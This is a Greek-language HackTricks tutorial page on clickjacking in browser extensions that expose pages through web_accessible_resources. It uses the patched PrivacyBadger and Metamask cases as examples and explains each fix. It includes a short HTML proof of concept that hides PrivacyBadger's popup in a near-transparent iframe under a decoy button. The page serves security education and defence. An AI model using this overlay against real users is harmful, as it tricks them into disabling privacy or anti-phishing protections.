9.6 KiB
BrowExt - ClickJacking
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!
Άλλοι τρόποι υποστήριξης των HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στα HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Βασικές Πληροφορίες
Αυτή η σελίδα θα εκμεταλλευτεί μια ευπάθεια ClickJacking σε ένα πρόσθετο περιήγησης.
Αν δεν ξέρετε τι είναι το ClickJacking ελέγξτε:
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Τα πρόσθετα περιέχουν το αρχείο manifest.json
και αυτό το αρχείο JSON έχει ένα πεδίο web_accessible_resources
. Αυτό είναι τι λένε τα έγγραφα του Chrome γι' αυτό:
Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL
chrome-extension://[ID ΠΑΚΕΤΟΥ]/[ΔΙΑΔΡΟΜΗ]
, το οποίο μπορεί να δημιουργηθεί με τη μέθοδοextension.getURL
. Οι πόροι που έχουν εγκριθεί εξυπηρετούνται με κατάλληλους κεφαλίδες CORS, έτσι είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.1
Οι web_accessible_resources
σε ένα πρόσθετο περιήγησης δεν είναι μόνο προσβάσιμοι μέσω του web· λειτουργούν επίσης με τα ενσωματωμένα προνόμια του πρόσθετου. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:
- Αλλάξουν την κατάσταση του πρόσθετου
- Φορτώσουν επιπλέον πόρους
- Αλληλεπιδρούν με τον περιηγητή σε μια συγκεκριμένη έκταση
Ωστόσο, αυτό το χαρακτηριστικό αποτελεί κίνδυνο για την ασφάλεια. Αν ένας πόρος εντός των web_accessible_resources
έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε πιθανόν να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Ανυποψίαστοι χρήστες που επισκέπτονται αυτήν τη σελίδα θα μπορούσαν ακούσια να ενεργοποιήσουν αυτόν τον ενσωματωμένο πόρο. Αυτή η ενεργοποίηση θα μπορούσε να οδηγήσει σε μη επιθυμητές συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων του πρόσθετου.
Παράδειγμα PrivacyBadger
Στο πρόσθετο PrivacyBadger, εντοπίστηκε μια ευπάθεια που σχετίζεται με τον καθορισμό του καταλόγου skin/
ως web_accessible_resources
με τον ακόλουθο τρόπο (Ελέγξτε την αρχική ανάρτηση στο blog):
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Αυτή η διαμόρφωση οδήγησε σε ένα πιθανό θέμα ασφαλείας. Συγκεκριμένα, το αρχείο skin/popup.html
, το οποίο αναπαρίσταται κατά τη διάδραση με το εικονίδιο του PrivacyBadger στο πρόγραμμα περιήγησης, θα μπορούσε να ενσωματωθεί μέσα σε ένα iframe
. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να απατήσει τους χρήστες ώστε να κάνουν κλικ κατά λάθος στο "Απενεργοποίηση του PrivacyBadger για αυτόν τον Ιστότοπο". Μια τέτοια ενέργεια θα θέτει σε κίνδυνο την ιδιωτικότητα του χρήστη απενεργοποιώντας την προστασία του PrivacyBadger και πιθανώς εκθέτοντας το χρήστη σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτής της εκμετάλλευσης μπορεί να προβληθεί σε ένα παράδειγμα βίντεο ClickJacking που παρέχεται στο https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του /skin/*
από τη λίστα των web_accessible_resources
. Αυτή η αλλαγή αντιμετώπισε αποτελεσματικά τον κίνδυνο εξασφαλίζοντας ότι το περιεχόμενο του καταλόγου skin/
δεν θα μπορούσε να προσπελαστεί ή να χειριστεί μέσω πόρων προσβάσιμων μέσω του διαδικτύου.
Η επιδιόρθωση ήταν εύκολη: αφαιρέστε το /skin/*
από τα web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Παράδειγμα Metamask
Ένα άρθρο για ένα ClickJacking στο metamask μπορεί να βρεθεί εδώ. Σε αυτήν την περίπτωση, το Metamask διόρθωσε την ευπάθεια ελέγχοντας ότι το πρωτόκολλο που χρησιμοποιήθηκε για την πρόσβασή του ήταν https:
ή http:
(και όχι chrome:
για παράδειγμα):
Ένα άλλο ClickJacking που διορθώθηκε στην επέκταση του Metamask ήταν ότι οι χρήστες μπορούσαν να Κάνουν κλικ για να προσθέσουν στη λευκή λίστα όταν μια σελίδα φαινόταν ύποπτη για phishing λόγω του “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Καθώς αυτή η σελίδα ήταν ευάλωτη στο Clickjacking, ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να το προσθέσει στη λευκή λίστα χωρίς να το παρατηρήσει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λευκή λίστα.
Παράδειγμα Steam Inventory Helper
Ελέγξτε την παρακάτω σελίδα για να δείτε πώς ένα XSS σε μια επέκταση προγράμματος περιήγησης συνδυάστηκε με μια ευπάθεια ClickJacking:
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}